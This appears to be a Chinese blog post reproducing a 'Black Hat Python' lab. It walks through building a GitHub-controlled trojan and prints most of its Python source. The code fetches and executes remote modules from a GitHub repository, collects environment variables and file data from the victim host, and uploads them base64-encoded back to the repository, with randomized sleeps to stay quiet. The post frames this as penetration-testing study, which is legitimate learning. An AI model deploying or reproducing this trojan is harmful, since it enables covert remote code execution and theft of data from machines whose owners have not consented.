天天看点

python渗透测试入门之github木马

作者:ailx10
python渗透测试入门之github木马

近期收到了电子工业出版社赠送的一本网络安全书籍《python黑帽子》,书中一共24个实验,今天复现第18个实验(github c&c控制),我的测试环境是mbp电脑+github+conda开发环境。这个实验非常有趣,将“木马”(python脚本)投递到僵尸主机上并运行,然后就能自动将环境变量和文件信息同步到github仓库中,ailx10提醒您,陌生的链接千万不要点击,千万不要运行,否则容易导致隐私数据泄露~

python渗透测试入门之github木马

ailx10

网络安全优秀回答者

网络安全硕士

去咨询

1、在自己的github上创建一个仓库(ailx10trojan)[1]

本实验已经隐藏和省略重要信息 mytoken.txt ,公开的代码无法连接 github

git init
# 省略中间操作
git add .
git commit -m "first commit"
git branch -M master
git remote add origin https://github.com/isGt93/ailx10trojan.git
git push -u origin master           

2、创建自己的github token(全选)

python渗透测试入门之github木马

3、构建github通信木马,获取僵尸主机的基本信息

python渗透测试入门之github木马

4、在僵尸主机上运行脚本

python渗透测试入门之github木马

5、在ailx10trojan仓库中看到僵尸主机的基本信息,不过是base64编码的

python渗透测试入门之github木马

6、对文件进行base64解码,成功拿到僵尸主机的环境变量

python渗透测试入门之github木马

参考代码(不完整):

# -*- coding: utf-8 -*-
# @Time    : 2022/6/16 10:14 AM
# @Author  : ailx10
# @File    : git_trojan.py

import base64
import github3
import importlib
import json
import random
import sys
import threading
import time

from datetime import datetime

# 读取令牌,登录github
def github_connect():
    with open("mytoken.txt") as f:
        token = f.read().strip()
    user = "isGt93"
    sess = github3.login(token=token)
    return sess.repository(user,"ailx10trojan")

# 从远程仓库抓取文件并读取里面的数据
def get_file_contents(dirname,module_name,repo):
    return repo.file_contents(f"{dirname}/{module_name}").content

class Trojan:
    def __init__(self,id):
        self.id = id
        self.config_file = f"{id}.json"
        self.data_path = f"data/{id}/"
        self.repo = github_connect()

    # 从远程仓库中读取配置文件
    def get_config(self):
        config_json = get_file_contents("config",self.config_file,self.repo)
        config = json.loads(base64.b64decode(config_json))
        for task in config:
            if task["module"] not in sys.modules:
                exec("import %s"%task["module"])
        return config

    # 调用module的run方法
    def module_runner(self,module):
        result = sys.modules[module].run()
        self.store_module_result(result)

    # 将模块的运行结果存储在本地文件夹中
    def store_module_result(self,data):
        message = datetime.now().isoformat()
        remote_path = f"data/{self.id}/{message}.data"
        bindata = bytes("%r" % data,"utf-8")
        self.repo.create_file(remote_path,message,base64.b64encode(bindata))

    # 多线程执行config模块中的run方法,收集信息并存储
    def run(self):
        while True:
            config = self.get_config()
            for task in config:
                thread = threading.Thread(target=self.module_runner,args=(task["module"],))
                thread.start()
                time.sleep(random.randint(1,10))
            time.sleep(random.randint(30*60,3*60*60))

class GitImporter:
    def __init__(self):
        self.current_module_code = ""

    def find_module(self,name,path=None):
        print("[*] Attempting to retrieve %s"%name)
        self.repo = github_connect()

        new_library = get_file_contents("modules",f"{name}.py",self.repo)
        if new_library is not None:
            self.current_module_code = base64.b64decode(new_library)
            return self

    def load_module(self,name):
        spec = importlib.util.spec_from_loader(name,loader=None,origin=self.repo.git_url)
        new_module = importlib.util.module_from_spec(spec)
        exec(self.current_module_code,new_module.__dict__)
        sys.modules[spec.name] = new_module
        return new_module

if __name__ == "__main__":
    sys.meta_path.append(GitImporter())
    trojan = Trojan("abc")
    trojan.run()           

参考

  1. ^ailx10trojan https://github.com/isGt93/ailx10trojan

发布于 2022-06-16 18:06

继续阅读